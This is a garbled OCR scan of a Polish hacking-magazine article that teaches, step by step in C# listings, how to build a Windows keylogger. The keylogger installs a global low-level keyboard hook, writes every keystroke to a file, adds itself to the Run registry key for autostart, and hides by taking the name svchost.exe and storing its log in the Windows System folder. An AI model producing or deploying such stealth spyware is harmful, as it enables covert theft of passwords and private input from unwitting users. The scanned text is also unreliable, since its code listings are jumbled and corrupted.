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stopien trudnosci

Skomplikowane i czesto aktualizowane hasto, ktére oproécz liter
zawiera rowniez cyfry i znaki specjalne, to bardzo dobry sposéb
obrony przed nieautoryzowanym dostepem. Pod warunkiem, ze
nie jestesmy podstuchiwani w trakcie jego wprowadzania...

iszac o podstuchiwaniu hasta, nie
P mamy oczywiscie na mysli przypad-

ku podstuchiwania moéwigcego sobie
pod nosem uzytkownika, ktéry wtasnie wpro-
wadza swoje hasto. Chodzi nam o program,
ktory bez wiedzy uzytkownika bedzie zapi-
sywat wszystkie naci$niete klawisze. Bedzie
go moégt napisa¢ nawet srednio zaawansowa-
ny programista, znajacy system Windows. Wi-
dac zatem, ze jest to realne zagrozenie. Przyj-
rzyjmy sie teraz, jak system Windows opieku-
je sie uruchamianymi programami. Dziatanie
aplikacji okienkowych polega przede wszyst-
kim na reagowaniu na zdarzenia. Zdarzenia to
nic innego jak wyniki interakcji uzytkownika z
aplikacja. Jest to wiec klikanie, przyciskanie,
upuszczanie, przecigganie oraz inne akcje,
ktoére mozna wykona¢ w aplikacji. Piszac jakis
program pod Windows w srodowiskach RAD
(ang. Rapid Application Development), musi-
my stworzy¢ metody zdarzeniowe zwigzane
z konkretnymi zdarzeniami dla kontrolek apli-
kacji. W zaleznosci od jezyka programowania
— badz platformy uruchomieniowej — mamy do
dyspozycji rézne mechanizmy reakcji na zda-
rzenia w aplikacji. Dla platformy .NET bedg to
delegacje, w C++ Bulider — wskazniki na funk-
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cje, a dla Javy specjalne obiekty nastuchu-
jace. Skad jednak aplikacja wie, ze jej przy-
cisk zostat klikniety? Taka informacje dostaje
od systemu Windows. Utrzymuje on dla kaz-
dego uruchomionego programu kolejke, kto-
ra przechowuje zdarzenia. Zdarzeniem, kt6-
re nas najbardziej w tym momencie interesu-
je, jest nacisniecie klawisza na klawiaturze.
Aby je przechwyci¢, musimy monitorowac ko-
munikaty wysytane do uruchomionych w sys-
temie aplikacji. Nie jest to zadanie specjal-
nie skomplikowane (nie musimy modyfikowac

g
Z artykutu dowiesz sie

jak dziatajg haki w systemie Windows,

* jak dodawac¢ wpisy do rejestru systemowego,

» jak z poziomu kodu C# podstuchiwac¢ klawiatu-
re.

Co powinienes wiedzie¢

* podstawy programowania zorientowanego
obiektowo,
podstawy dziatania systemu Windows,
podstawowa znajomosc sieci komputerowych.
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np. jadra), poniewaz system Win-
dows udostepnia mechanizm ha-
kéw (ang. hooks). Zostat on juz opi-
sany przez Jacka Matulewskiego w
numerze 4/2007, jednak pod nieco
innym katem. My zajmiemy sie uzy-
ciem hakow w kodzie C#. Bedziemy
zmuszeni do skorzystania z funkcji
winapt oOraz metod specyficznych
dla Windows, co jest pogwatceniem
idei platformy uruchomieniowe;.

Dodawanie

wpisow do autostartu
Idea platformy uruchomieniowej po-
lega na przenaszalnosci programu
na poziomie kodu i aplikacji pomie-
dzy systemami operacyjnymi. Jed-
nak Linux nie posiada czegos takie-
go, jak rejestr. W zwigzku z tym nasz
program, pomimo tego, ze jest pisa-
ny dla platformy .NET, bedzie dzia-
tat poprawnie jedynie dla systemu
operacyjnego Windows. Inng kwe-
stig pozostaje, czy firmie Microsoft
naprawde zalezy na przenaszalno-
$ci kodu pomiedzy systemami inny-
mi niz Windows. Zanim rozpocznie-
my tworzenie hakéw, napiszemy me-
tode, ktéra bedzie dodawata wpisy
do autostartu. Pozwoli to uruchomié
nasz program przy kazdym starcie
systemu. Poniewaz, jak napisatem
wczesniej, rejestr systemowy jest
specyficzny dla Windows, tworcy
.NET postanowili wszystkie klasy z
nim zwigzane umiesci¢ w przestrze-
ni nazw Microsoft, a nie System. Da-
ne dotyczace automatycznie urucha-
mianych programéw przechowuje
klucz Software\Microsoft\Windows\
CurrentVersion\Run rejestru syste-
mowego. Jezeli zapiszemy $ciezke
z plikiem .exe w kluczu HKEY_CUR-
RENT_USER, nasza aplikacja be-
dzie uruchamiana po wlogowaniu sie
aktualnie zalogowanego uzytkowni-
ka. Jezeli zapiszemy jaw HKEY_LO-
CAL_MACHINE, program urucha-
miany bedzie po wlogowaniu sie do-
wolnego uzytkownika. W naszej wer-
sji niech bedzie to aktualny uzytkow-
nik. Musimy doda¢ jeszcze w sek-
cji using przestrzen nazw Micro-
soft.Win32. Metoda realizujgca na-
sze zadanie przedstawiona jest na
Listingu 1.

Na poczatku metody znajduje sie
deklaracja typow wyliczeniowych,
ktére przydadzg nam sie do okre-
Slenia rodzaju operacji, jakg chcemy

wykonaé (typ asoperation) oraz do
okreslenia, czy sie ona udata (asva-
1ue). Poniewaz C# jest jezykiem sil-
nie obiektowym, to wspomniane ty-

-

autostarcie systemu Windows

enum asOperation {

enum asValue { yes, no, error };

operation)
try

switch (operation)
case asOperation.asCheck:
if (rg.GetValue (name)
else

case asOperation.asWrite:

rg.Close();
return asValue.yes;

rg.DeleteValue (name) ;

rg.Close();

return asValue.yes;
return asValue.no;

catch

return asValue.error;

Listing 2. Import funkcji WinAPI

[DllImport ("user32.dll")]

[DllImport ("user32.dll")]

[Dl1lImport ("user32.dll")]

[DllImport ("user32.d1ll")]

Listing 3. Pola klasy TestDII

private static char caughtChar;

private const byte VK SHIFT = 0x10;
private const byte VK _CAPITAL = 0x14;
private static bool CapsLockDown;

private static bool ShiftDown;

Listing 1. Metoda sprawdzajgca, dodajgca lub usuwajgca wpis w

asCheck, asWrite, asDelete };

private static asValue InsertInAutostart(string name, string exe, asOperation

const string key = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";

RegistryKey rg = Registry.CurrentUser.OpenSubKey (key, true);

!= null) return asValue.yes;

return asValue.no;

rg.SetValue (name, exe);

case asOperation.asDelete:

private static extern IntPtr CallNextHookEx (IntPtr hhk, int nCode, IntPtr
wParam, IntPtr lParam);

private static extern int ToAscii (uint uVirtKey, uint uScanCode, byte[]

1pKeyState, ref char lpChar, uint flags);

private static extern bool GetKeyboardState (byte[] data);

static extern short GetKeyState (int nVirtKey);

private static string path = "C:\\plik.txt";

private const uint WM_KEYDOWN = 0x0100;

~
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py wyliczeniowe musimy zadekla-
rowac¢ jako pola klasy reprezentu-
jacej nasz program. Parametry, ja-
kie przyjmuje nasza metoda, to na-
zwa klucza (zmienna nane), $ciezka
dostepu i nazwa pliku wykonywalne-
go, ktéry chcemy uruchomic¢ (zmien-
na exe) oraz rodzaj operacji, jakg
chcemy wykona¢ (stworzony przez
nas typ wyliczeniowy asoperation).
Aby stworzy¢ obiekt reprezentujg-
cy klucz rejestru, uzywamy meto-
dy opensubkey. W zaleznosci od te-
go, czy jest to metoda wtasno-
Sci CurrentUser, CZY LocalMachine,
wpis stworzony bedzie odpowied-
nio w HKEY_CURRENT_USER Ilub
w HKEY_LOCAL_MACHINE. Do
sprawdzenia wartosci klucza stuzy
metoda cetvalue. Do zapisu klucza
uzywamy metody setvalue, a do je-
go usuniecia — peletevalue. Kazda z
tych metod moze generowaé wyja-
tek, dodatkowo sam proces tworze-
nia obiektu klasy registrykey moze
spowodowac zgtoszenie wyjatku —w
zwigzku z tym cato$¢ umieszczamy
w bloku ochronnym try-catch. Wyjat-
ki mogg by¢ spowodowane brakiem
dostepu do rejestru lub konkretnego
klucza. Wywotanie tej metody najle-
piej umiesci¢ w kodzie wykonywa-
nym w trakcie uruchamiania progra-
mu. Moze to by¢ konstruktor formy

badz zdarzenie 1oad — w przypadku
aplikacji Windows Forms. Mozemy
wtedy sprawdzi¢, czy istnieje w reje-
strze odpowiedni klucz i w przypad-
ku jego braku — utworzy¢ go.

Umiemy juz umieszcza¢ naszg
aplikacje w autostarcie. Jednak po
uruchomieniu bedzie nadal widocz-
na w oknie menadzera zadan. W
systemach Windows poczawszy od
2000 nie ma (na szcze$cie) tatwe-
go sposobu, aby usung¢ nazwe pro-
cesu z menadzera zadan. Ale moze-
my udawac proces systemowy. Wy-
starczy nazwac¢ nasz program np.
svchost.exe. Ta prosta sztuczka za-
dziata w wiekszosci przypadkow.
Mozna jeszcze uruchomié program
w trybie ustugi.

Windows hooks

Jak wspomnieliSmy na poczatku,
dziatanie systemu Windows opiera
sie na przekazywaniu komunikatow
(ang. Windows messages). Haki
pozwalajg nam na zainstalowanie
specjalnych funkcji monitorujgcych,
ktérych zadaniem jest przetwarza-
nie komunikatow Windows, nim do-
trg do konkretnej aplikacji. Do dys-
pozycji mamy kilka typéw hakéw i
dla kazdego takiego typu system
tworzy tzw. tancuch funkcji monito-
rujgcych. W momencie zajscia zda-

tekstowego

if (File.Exists (where)

sw.Write (theChar);
// nowa linia
if (theChar == '\r'

sw.Write('\n'");

else

sw.Write (theChar);
if (theChar == '\r'

sw.Write('\n'");

Listing 4. Metoda zapisujgca przechwycone klawisze do pliku

private static void SaveChar (char theChar, string where)

using (StreamWriter sw = File.AppendText (where))

using (StreamWriter sw = File.CreateText (where)
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rzenia zwigzanego z okreslonym
typem hakéw komunikat Windows
kierowany jest najpierw do funkcji
monitorujgcych znajdujgcych sie
w okreslonym tancuchu. Typ haka
determinuje czynnosci, ktore funk-
cja monitorujgca moze przeprowa-
dzi¢ na przechwyconym komuni-
kacie. Niektore typy pozwalajg tyl-
ko na odczyt danych z komunika-
tu. Istniejg rowniez takie, dzieki kt6-
rym komunikat moze byé zmodyfi-
kowany a takze moze nie dotrzec¢
do wybranej aplikacji. Funkcje mo-
nitorujgce mogg mie¢ zasieg lokal-
ny badz globalny (zwany réwniez
systemowym). Zasieg lokalny da-
je funkcji monitorujgcej mozliwosé
przechwycenia komunikatéw zda-
rzen, ktore zaszty tylko wewnatrz
watku, w ktorym funkcja zostata
zainstalowana. Watek mozna koja-
rzy¢ z konkretnym programem. Za-
sieg globalny pozwala na odbiera-
nie komunikatéw zdarzen, ktére za-
szty w kazdym watku dziatajgcym
w systemie. Jednakze, jezeli funk-
cja monitorujgca ma mie¢ zasieg
globalny, jej kod musi by¢ umiesz-
czony w bibliotece tgczonej dyna-
micznie (DLL).

Program podstuchujgcy klawia-
ture bedzie sie sktadat z dwoch pro-
jektéw. Pierwszy bedzie zawieraé
biblioteke DLL, poniewaz chcemy
przechwytywaé¢ komunikaty wyge-
nerowane dla kazdej aplikacji dzia-
tajacej w systemie. Drugi projekt
bedzie odpowiedzialny za zainsta-
lowanie funkcji monitorujgcej. Funk-
cja monitorujgca bedzie sktadowg
pisanej przez nas klasy, wiec po-
winnismy uzywac raczej okreslenia
metoda. My jednak pozostaniemy
przy terminie funkcja monitorujgca,
aby podkresli¢ jej pochodzenie z bi-
blioteki systemowej. Uzywajac jedy-
nie platformy .NET nie mamy mozli-
wosci wykorzystania obiektéw, kto-
re pozwalatyby nam na korzystanie
z hakéw. Jest to naturalna konse-
kwencja zwigzana z przenaszalno-
Scig kodu. Bedziemy musieli wiec
wykorzystac niektére funkcje winart
z bibliotek DLL systemu Windows.
Do importu funkcji z bibliotek DLL

stuzy polecenie bpilimport. Aby




C#.NET. Podstuchiwanie klawiatury

wygodnie go uzywac¢, do projektu
w sekcji using nalezy dodac prze-
strzen nazw system.Runtime.Intero
pServices. Polecenie DllImport Ma
nastepujaca sktadnie:

[Dl1lImport (nazwa pliku DLL)]
Modyfikator _ dostepu static extern
typ zwracany NazwaFunkcji(

parametry};

Parametry sg opcjonalne, poniewaz
istnieje wiele funkcji, ktore nie przyj-
mujg zadnych parametrow. Warto
dodaé, iz importujac funkcje WinAPI
mozemy napotka¢ problem z wybo-
rem odpowiedniego typu dla wskaz-
nikow i uchwytéw. Dla platformy
.NET sg one reprezentowane przez
strukture tntptr.

Tworzymy biblioteke
faczong dynamicznie

W czesci tej stworzymy biblioteke
DLL, ktora bedzie zawierac¢ funkcje
monitorujgca. Wtasnie te bibliote-
ke bedziemy ,wstrzykiwac¢” w stru-
mien komunikatéw systemu Win-
dows. Do przygotowania progra-
mu uzyjemy darmowego srodowi-
ska Visual C# 2005 Express Edi-
tion. Mozna je pobra¢ ze stron fir-
my Microsoft. Odpowiedni link znaj-
duje sie w ramce W Sieci. Urucha-
miamy Visual C# 2005 i wybieramy
File —> New Project —> Class Libra-
ry i nadajemy naszemu projektowi
nazwe TestDIl. Jak zawsze, $rodo-
wisko Visual C# 2005 Expres Edi-
tion generuje pewien szablon ko-
du. Dodamy teraz do utworzonego
szkieletu klasy odpowiednie meto-
dy i pola. Zaczniemy od zaimporto-
wania czterech funkcji WinAPI, kt6-
re pochodzi¢ beda z biblioteki use-
r32.dll (Listing 2).

Pierwsza funkcja to calivext-
HookEx. Ma ona za zadanie prze-
kaza¢ komunikat otrzymany przez
funkcje monitorujgcg do kolejnej
funkcji monitorujace;j. Jej pierwszym
parametrem jest uchwyt do aktual-
nie zainstalowanej funkcji monitoru-
jacej. Pozostate parametry zostang
omowione, gdy zdefiniujemy funkcje
monitorujgcg. Warto$¢ zwracana
przez funkcje jest r6zna w zalezno-

Sci od typu haka. Kolejne z importo-
wanych funkcji umozliwiajg odczyta-
nie znaku wcisnietego klawisza kla-
wiatury z odebranego komunikatu.
Funkcja Toascii stuzy do zamiany
kodu wirtualnego klawisza na odpo-
wiedni znak w kodzie ASCII. Jej pa-
rametry to:

* uwvirtkey — wirtualny kod klawi-
sza,

* uscanCode — tzw. hardware scan
code. Najbardziej znaczacy bit
tego parametru jest ustawiony,
jezeli klawisz nie jest wcisniety,

* 1lpKeystate — 256-elementowa ta-
blica, ktora zawiera aktualny stan
klawiatury. Kazdy element tablicy
przechowuje status jednego kla-
wisza,

* 1pChar — parametr, w ktérym zo-
stanie zapisany znak w kodzie
ASCII,

* flags — flagi dotyczgace menu.

Jezeli funkcja zadziata poprawnie,
woéwczas zwracana jest wartosc
niezerowa. Do okres$lania aktualne-
go stanu klawiatury stuzy kolejna
funkcja 0 nazwie cetkeyboardstate.
Parametrem funkcji jest 256-ele-
mentowa tablica zmiennych ty-
pu byte, W ktorej zostanie zapisa-
ny aktualny stan klawiatury. Jeze-
li funkcja zadziata poprawnie, row-

niez zwraca wartos$¢ rézng od 0. W
celu okreslenia stanu pojedyncze-
go klawisza skorzystamy z funk-
Cji Getkeystate. Parametrem funk-
cji jest wirtualny kod klawisza, kto-
rego stan chcemy okresli¢. Klawisz
moze by¢ wcisniety, zwolniony lub
przetaczony. Terminem klawisz jest
przetaczony bedziemy oznaczac
stan, w ktérym wecisniecie wybra-
nego klawisza powoduje uaktyw-
nienie pewnego trybu (np. wcisnie-
cie klawisza Caps Lock powoduje
wigczenie trybu pisania duzymi li-
terami). Warto$¢ zwracana przez
funkcje cetkeystate informuje nas
o stanie wybranego klawisza. Je-
zeli najbardziej znaczacy bit zwra-
canej wartosci jest ustawiony, to
klawisz jest wcisniety. W przeciw-
nym wypadku jest zwolniony. Jezeli
najmniej znaczacy bit jest ustawio-
ny, wéwczas wybrany klawisz jest
przetaczony. W przeciwnym wy-
padku nie jest przetgczony. Moze-
my teraz przejs¢ do dodania pél do
naszej klasy (Listing 3).

W pierwszym z nich zapiszemy
nasz przechwycony znak (caught-
Char). Pole path typu string deZIe
okreslato Sciezke do pliku, w kto-
rym bedziemy zapisywac przechwy-
cone znaki. Jest on plikiem teksto-
wym, aby mozna byto w prosty spo-
s6b sprawdzi¢ dziatanie programu.

byte[] data = new byte[256];
GetKeyboardState (data) ;
char myChar = ' ';

uint scan = 0;

return myChar;

[StructLayout (LayoutKind. Sequential)
public struct KBDLLHOOKSTRUCT

public int vkCode;
public int scanCode;
public int flags;
public int time;

public int dwExtralInfo;

Listing 5. Metoda odczytujgca znak z przechwyconego komunikatu

private static char GetChar (int vkCode)

ToAscii ((uint)vkCode, scan, data, ref myChar, 0);

Listing 6. Definicja struktury KBDLLHOOKSTRUCT

www.hakin9.org
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Jednakze w celu lepszego ukrycia
tego pliku moglibysmy np. zapisywac
znaki w pliku binarnym i umiesci¢ go
w folderze $Windows\System (jeze-
li posiadamy do niego prawa zapisu),
gdzie przecietny uzytkownik rzadko
zaglada — jest zresztg wiele innych
miejsc na dysku, gdzie nasz plik mo-
ze spokojnie egzystowac, nie neka-
ny przez uzytkownika. Oczywiscie
nazwa pliku tez powinna by¢ wte-
dy inna.

Kolejne cztery pola zwigzane sg
z klawiszami Shift i Caps Lock. Sta-
te vk _SHIFT | VK CAPITAL Oznacza-

ja odpowiednio kody klawiszy wirtu-
alnych Shift i Caps Lock. Pole Shi-
ftDown bedzie przyjmowaé war-
tos¢ true, jezeli klawisz Shift jest
wcisniety. W przeciwnym wypad-
ku pole to przyjmie wartos¢ false.
Pole CapsLockDown bedzie przyj-
mowac¢ wartosc¢ true, jezeli klawisz
CapsLock zostat przetaczony, po-
wodujgc uaktywnienie trybu pisa-
nia duzymi literami. Natomiast po
wytaczeniu tego trybu polu zostanie
przypisana warto$¢ false. Ostatnim
polem bedzie kod komunikatu syste-
mu Windows, ktory jest generowa-

~
Listing 7. Funkcja monitorujgca
public static IntPtr MonitorFunction(int code, IntPtr wParam, IntPtr lParam)
try
if (wParam.ToInt64 () == WM _KEYDOWN && code >= 0)
KBDLLHOOKSTRUCT hookStruct
(KBDLLHOOKSTRUCT)Marshal.PtrToStructure (1
Param, typeof (KBDLLHOOKSTRUCT)) ;
// Shift wcidniety ??
ShiftDown = ((GetKeyState (VK _SHIFT) & 0x80) == 0x80 ? true :
false);
// Tryb pisania duzymi literami wilaczony ??
CapsLockDown = (GetKeyState (VK _CAPITAL) != 0 ? true : false);
caughtChar = GetChar (hookStruct.vkCode) ;
if ((CapsLockDown ~ ShiftDown) && Char.IsLetter (caughtChar)
caughtChar = Char.ToUpper (caughtChar) ;
if ((caughtChar == 0x0d && hookStruct.vkCode == 0x0d) ||
(caughtChar > 0x20 && caughtChar <= 0x7e) ||
(caughtChar == 0x20 && hookStruct.vkCode == 0x20))
SaveChar (caughtChar, path);
catch {}
return CallNextHookEx (IntPtr.Zero, code, wParam, lParam);
Listing 8. Importowanie funkcji WinAPI
[D1lImport ("user32.dll")]
private static extern IntPtr SetWindowsHookEx (int code,
HookProc func, IntPtr
hInstance, int threadID);
[DllImport ("user32.dll")]
private static extern bool UnhookWindowsHookEx (IntPtr hhk);
[D11lImport ("Kernel32.d1ll")]
private static extern IntPtr GetModuleHandle (string moduleName) ;
Listing 9. Definicja pdl klasy HookClass
private delegate IntPtr HookProc(int code, IntPtr wParam,
IntPtr 1Param);
private static HookProc hookProc;
private IntPtr result;
private const int WH KEYBOARD LL = 0x0d;
\_ /
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ny w momencie wcisniecia niesyste-
mowego klawisza klawiatury.

Mozemy teraz przej$¢ do na-
pisania dwoch prywatnych metod,
ktore wykorzystywa¢ bedzie funk-
cja monitorujgca. Pierwsza z nich
bedzie stuzy¢ do zapisu okreslone-
go znaku w wybranym miejscu. Na
poczatku musimy dodac¢ przestrzen
nazw System.lO. Kod metody jest
pokazany na Listingu 4.

Na poczatku nastepuje spraw-
dzenie, czy wybrany plik juz istnie-
je. Jezeli tak, dopisujemy do niego
kolejne dane. Jezeli nie istnieje, two-
rzymy go i zapisujemy w nim dane.
Warto zwréci¢ uwage, ze dzieki uzy-
ciu stowa kluczowego using nie mu-
simy sie martwi¢ o zamkniecie pliku.

Druga metoda pozwoli nam na
odczytanie z przechwyconego ko-
munikatu znaku odpowiadajgcego
wcisnietemu klawiszowi. Jako para-
metr przyjmuje ona kod wirtualnego
klawisza. Funkcja zwraca odczyta-
ny znak. Jej definicja jest pokazana
na Listingu 5.

Dziatanie tej metody sprowadza
sie do uzycia dwoch wczesniej zaim-
portowanych funkcji WinAPI z odpo-
wiednimi parametrami. Mozemy te-
raz przejs¢ do meritum sprawy, czyli
napisania definicji funkcji monitoruja-
cej (Listing 6). Funkcja bedzie przyj-
mowac nastepujace parametry:

«  code — okresla kod, na podsta-
wie ktérego funkcja monitoruja-
ca przetwarza otrzymany komu-
nikat. Jezeli parametr ten jest
mniejszy od zera, to wymaga-
ne jest, aby funkcja monitorujaca
wywotata funkcje calinextHookEx
i zwrdcita wartos¢ zwracang
przez te funkcje,

- wraram — Okresla identyfikator ko-
munikatu klawiatury,

. lraram — reprezentuje wskaz-
nik do struktury KBDLLHOOK-
STRUCT. Aby moc korzystac z
tej struktury, musimy jg przedtem
zdefiniowaé. W tym celu przed
definicjg klasy dodajemy kod z Li-
stingu 6.

Z naszego punktu widzenia najwaz-
niejsze pole tej struktury to vkcode.

www.hakin9.org
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W Sieci

*  http://msdn.microsoft.com/msdnmag/issues/02/10/CuttingEdge — artykut opisujacy
haki w systemie Windows,

»  http://msdn2.microsoft.com/en-us/library/ms997537.aspx — kolejny artykut opisu-
jacy haki w systemie Windows,

*  http://msdn2.microsoft.com/en-us/express/aa975050.aspx — witryna Microsoft,
skad mozna pobra¢ srodowisko Visual C# 2005 Express Edition,

*  http://www.codeproject.com — zbiér bardzo wielu przyktadéw aplikacji dla platfor-
my .NET i nie tylko. Naprawde godny polecenia,

*  http://www.codeguru.pl — polska strona dla programistéw .NET,

»  http://msdn2.microsoft.com — dokumentacja MSDN. Znajdziesz tu opisy wszyst-
kich klas, wtasnosci i metod, jakie zawiera platforma .NET wraz z przyktadowymi
programami.

J

Postuzy nam ono jako parametr prze-
kazywany do funkcji Toascii. Parame-
try code, wParam OFAZ 1Param Sg Ode-
wiednio drugim, trzecim i czwartym
parametrem funkcji calinextHookEx.

Na poczatku metody sprawdza-
my, czy nastapito zdarzenie wcisnie-
cia klawisza niesystemowego oraz
czy parametr code ma warto$¢ wiek-
szg badz rowng zero. Uzywamy sta-
tycznej metody ptrrostructure Klasy
Marshal W celu zamiany parametru
1param Na strukture KBDLLHOOK-
STRUCT. Metoda ta jako pierwszy
parametr przyjmuje wskaznik do nie-
zarzadzanego bloku pamieci (wskaz-
niki na platformie .NET sa reprezen-
towane przez strukture intetr). Dru-
gi parametr to typ obiektu, ktéry ma
utworzy¢. Wartoscig zwracang jest
nowo utworzony obiekt klasy opject.
Zawiera on dane wskazywane przez
wskaznik przekazany jako pierwszy
parametr. Zwracang wartosc rzutuje-
my jeszcze na strukture KBDLLHO-
OKSTRUCT. Pierwsza instrukcja wa-
runkowa ir ustala wielko$¢ znakoéw
bedacych literami. Druga konstruk-
cja it dba, aby tylko wybrane znaki
byty zapisywane do pliku.

Biblioteka DLL zostata juz stwo-
rzona. Kolejnym krokiem bedzie
stworzenie projektu, ktéry uzyje tej
biblioteki w celu monitorowania kla-
wiatury.

Instalujemy funkcje
monitorujaca

Zaczynamy od stworzenia nowego
projektu Windows Forms Applica-
tion. Nadajemy mu nazwe TestHo-

oks. Do projektu dodajemy nowag kla-
se przez wybranie opcji Project —>
Add Class. W polu Name wpisujemy
HookClass. W klasie tej umiescimy
kod umozliwiajgcy uruchomienie mo-
nitorowania klawiatury. Forma Form1
w tym projekcje bedzie symulowa-
ta pewng aplikacje, w ktorej istnieje
mozliwos¢ uzycia opcji monitorowa-
nia klawiatury. Mozemy teraz przejs¢
do napisania definicji klasy HookC-
lass. Zaczniemy od importu potrzeb-
nych funkcji WinAPI (Listing 8).

Haki sg instalowanie przez wy-
wotanie funkcji
Parametry tej funkcji to:

SetWindowsHookEx.

* idHook — Okresla typ haka, jaki
chcemy zainstalowac,

* func — delegacja dla zarejestro-
wanej funkcji monitorujace;j,

* hInstance — uchwyt do bibliote-
ki DLL, ktora zawiera definicje
funkcji monitorujace;j,

* threadid — oOkre$la identyfikator
watku, z ktérym ma by¢ zwigza-
na funkcja monitorujgca.

Jezeli funkcja ta zadziata popraw-
nie, zwroci uchwyt do funkcji mo-
nitorujgcej. W przeciwnym wypad-
ku zwroci wartos¢ nu11. Gdy juz nie
chcemy przechwytywac wybranych
komunikatéw, mozemy odinstalo-
wac funkcje monitorujgca. Stuzy do
tego funkcja UnhookWindowsHookEx.
Jej parametr to uchwyt do funkcji
monitorujacej, ktéry otrzymujemy
jako wartos$¢ zwracang przez funk-
Cje setwindowsHookEx. Jezeli funkcja
zadziata poprawnie, zwracana war-
tos¢ jest niezerowa. W przeciwnym
wypadku zwracang wartoscig jest
zero. Funkcja cetModuleHandle UZY-
skuje uchwyt do wybranego modu-
tu, ktérego nazwe przekazujemy ja-
ko parametr (p1ik .dll lub .exe). Je-
zeli funkcja zadziata prawidtowo,
wowczas zwracang wartoscig jest
uchwyt do zgdanego modutu.

W kolejnym kroku zdefiniujemy
delegacje dla funkcji monitoruja-
cej. Jej sygnatura i typ muszg za-
tem by¢ zgodne z sygnaturg i ty-

Listing 10. Metoda GetHookProc

private bool GetHookProc (

try

i
1

MethodInfo methodInfo = null;
foreach (Type t in tab)

i
1
}
!

methodInfo);
return true;

catch

(
1

return false;

string sc = Environment.CurrentDirectory + "\\" + "TestDl1l.dll";
Assembly a = Assembly.LoadFrom(sc);
Type[] tab = a.GetExportedTypes();

methodInfo = t.GetMethod ("MonitorFunction");

hookProc = (HookProc)Delegate.CreateDelegate (typeof (HookProc),
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pem zwracanym funkcji monitoruja-
cej. Po zdefiniowaniu delegacji two-
rzymy jej referencje. Warto podkre-
sli¢, ze obiekt delegacji musi by¢ za-
deklarowany jako static. Potrzeb-
ne nam bedzie takze pole, w kto-
rym zapiszemy uchwyt do funkcji

monitorujgcej zwracany przez funk-
Cje setwindowsHookEx. Nazwiemy je
result. Ostatnim polem bedzie stata
oznaczajaca typ haka, jaki chcemy
zainstalowac¢. Nasza funkcja ma za
zadanie przechwytywac¢ komunika-
ty klawiatury, wiec parametr ten be-

Listing 11. Metoda instalujgca oraz usuwajgca funkcje monitorujgcag

public bool InstallHook()
try

if (GetHookProc())

result = SetWindowsHookEx (WH_KEYBOARD LL, hookProc, GetModuleHan
dle("TestDll.d11l"), 0);

return true;

else

return false;
catch

return false;

public void CloseHook ()

UnhookWindowsHookEx (result) ;

Listing 12. Definicja klasy Form1

using System;

using System.Collections.Generic;
using System.ComponentModel;
using System.Data;

using System.Drawing;

using System.Text;

using System.Windows.Forms;
namespace TestHooks
: Form

public partial class Forml

private HookClass hookClass;

private bool hookInstallDone = true;

public Forml ()

InitializeComponent () ;

hookClass = new HookClass();
if ('hookClass.InstallHook())

hookInstallDone = false;

private void OnClosing(object sender, EventArgs e)

if (hookInstallDone)
hookClass.CloseHook () ;
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dzie miat wartos¢ 0x0d i nazwiemy
gowe keveoarD _1L. Krokite przed-
stawia Listing 9.

Teraz zajmiemy sie napisaniem
prywatnej metody GetHookProc,
dzieki ktoérej stworzymy obiekt de-
legacji H#ookProc z zarejestrowang
funkcja monitorujgcg. W projek-
cie przyjmujemy, ze biblioteka DLL
nosi nazwe TestDIl, znajduje sie w
tym samym katalogu, co plik wyko-
nywalny oraz ze nazwa funkcji mo-
nitorujacej to MonitorFunction. Kod
metody jest przedstawiony na Li-
stingu 10.

W metodzie tej mamy zaprezen-
towany jeden ze sposobdéw impor-
towania metod z bibliotek tgczenia
dynamicznego, stworzonych z wy-
korzystaniem Visual C#. Aby moc
to zrobi¢, musimy dodac¢ do projek-
tu przestrzen nazw System.Reflec-
tion. Na poczatku tworzymy zmien-
ng typu string, ktéra zawiera Sciez-
ke do pliku DLL, z ktérego chcemy
importowa¢ metode. Nastepnie
tworzymy obiekt klasy assembiy, re-
prezentujacy tzw. pakiet kodu (ang.
assembly). Pakietem kodu mo-
ze by¢ zaroéwno biblioteka tgczona
dynamicznie, jak i plik wykonywal-
ny. Obiekt klasy assembly jest two-
rzony przez wywotanie statycznej
metody tej klasy — 1toadfrom. Jej
parametrem jest Sciezka do pa-
kietu kodu, ktory chcemy zatado-
wac. Metoda zwraca nam nowo
utworzony obiekt klasy assembly.
Kolejnym krokiem jest wywota-
nie metody GetExportedTypes kla-
sy assembly. Metoda ta zwraca pu-
bliczne typy znajdujace sie w okre-
slonym pakiecie kodu, ktére uzyt-
kownik moze wykorzysta¢ w swo-
jej zewnetrznej aplikacji. Uzyskuje-
my w ten sposob tablice obiektow
klasy Type. Nastepnie deklarujemy
pustg referencje do obiektu klasy
MethodInfo. T€Faz mMusimy przeszu-
ka¢ nasze typy w celu odnalezienia
typu bedacego klasg zawierajaca
definicje funkcji monitorujgcej. Naj-
lepiej do tego celu nadaje sie pe-
tla foreacn. Wewnatrz petli uzywa-
my metody Getmethod do sprawdze-
nia, czy dany typ zawiera definicje
funkcji monitorujacej. Jezeli znaj-




C#.NET. Podstuchiwanie klawiatury

dziemy taki typ, wéwczas cetMethod
zwraca nam obiekt typu MethodInfo,
w przeciwnym wypadku bedzie to
wartos¢ nuil.

Pora teraz na stworzenie obiek-
tu delegacji. Wykorzystamy do tego
statyczng metode klasy pelegate O
nazwie createbelegate, Ktéra przyj-
muje dwa parametry. Pierwszym z
nich jest typ delegacji, jaki ma zo-
sta¢ stworzony. Drugi to obiekt ty-
pu MethodInfo. Aby uzyskac typ
naszej delegacji, uzywamy ope-
ratora typeof. Poniewaz metoda
CreateDelegate ZWraca obiekt typu
Delegate, Musimy rzutowaé zwra-
cany typ na typ naszej delegacji.
Metoda zwraca wartos¢ rézng od
zera, gdy uda sie utworzy¢ delega-
cje z zarejestrowang funkcjg moni-
torujaca, w innym wypadku zwra-
ca zero.

Mozemy teraz przejs¢ do
napisania publicznej metody
InstallHook, kKtéra postuzy nam do
zainstalowania funkcji monitoruja-
cej. Definicje tej metody przedsta-
wia Listing 11.

Warto zwrdci¢ uwage, ze identy-
fikator watku rowna sie 0. Dzieje sie
tak, poniewaz chcemy powigzac¢ na-
szg funkcje monitorujaca z wszyst-
kimi istniejacymi watkami.

Odinstalowanie funkcji monito-
rujgcej odbywa sie przez wywota-
nie publicznej metody cilosetook,
ktérej definicje przedstawia rowniez
Listing 11.

Mozemy teraz przejs¢ do stwo-
rzenia obiektu naszej klasy. Prze-
chodzimy do widoku formy Form1
i naciskamy F7 Przypominamy,
ze forma reprezentuje w naszym
projekcie pewng aplikacje, w kto-
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rej chcemy mie¢ mozliwos$¢ uzycia
funkcji monitorujacej. Jej kod przed-
stawia Listing 12.

